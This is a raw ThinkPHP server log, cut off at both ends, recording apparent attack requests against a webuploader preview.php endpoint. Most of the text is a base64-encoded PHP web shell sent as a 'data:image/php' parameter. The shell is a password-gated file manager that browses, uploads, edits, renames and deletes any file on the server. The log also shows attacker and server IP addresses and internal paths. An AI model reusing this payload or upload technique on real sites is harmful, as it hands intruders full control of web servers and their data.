uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'plugins' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:32+08:00 ] 119.42.146.234 POST 59.110.137.245/static/common/lib/webuploader/0.1.5/server/preview.php [运行时间:0.003735s] [吞吐率:267.73req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKS